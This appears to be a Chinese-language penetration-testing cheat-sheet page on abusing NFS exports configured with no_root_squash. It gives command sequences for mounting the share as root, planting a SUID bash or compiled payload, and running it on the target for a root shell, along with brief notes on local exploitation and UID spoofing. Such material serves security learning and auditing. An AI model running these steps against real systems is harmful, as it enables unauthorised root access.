NFS no_root_squash/no_all_squash 错误配置

阅读 NFS 的配置文件,可能会发现某个目录配置为 no_root_squash ,那么你可以作为客户端访问并在该目录中写入

  • no_root_squash :当客户端以 root 用户访问时,服务端会给与 root 权限

  • no_all_squash : 访客被映射为服务器上相同 UID 的用户

远程利用

  • 在客户端挂载该目录,并以 root 身份在挂载的文件夹上复制 /bin/bash 二进制文件并赋予 SUID 权限,然后在受害机器上执行

    # Attacker, as root user
    mkdir /tmp/pe
    mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
    cd /tmp/pe
    cp /bin/bash .
    chmod +s bash
    
    # 目标机器
    cd <SHAREDD_FOLDER>
    ./bash -p #ROOT shell
  • 使用 root 身份挂载该目录,编译滥用 SUID 的 payload 复制到文件夹中,赋予 SUID 权限,并从受害机器执行该二进制文件, 二进制文件 payload

    # Attacker, as root user
    gcc payload.c -o payload
    mkdir /tmp/pe
    mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
    cd /tmp/pe
    cp /tmp/payload .
    chmod +s payload
    
    # 目标机器
    cd <SHAREDD_FOLDER>
    ./payload #ROOT shell

本地漏洞利用

这种情况是为了防止文件执行 IP ,这样我们就无法使用远程攻击,

看不懂,查看原文 --> 链接

NFSEHLL

一旦称为目标机上的 root 用户,我们就可以查看 NFS 共享以获取一些文件,但是共享的用户都有自己的 UID ,由于 UID 不匹配,就算 root 也无法读取,所以我们可以在所需的 SHELL 命令执行之前执行一段命令来设置我的 uid:

然后我们就可以正常执行命令一样进行执行

最后更新于

这有帮助吗?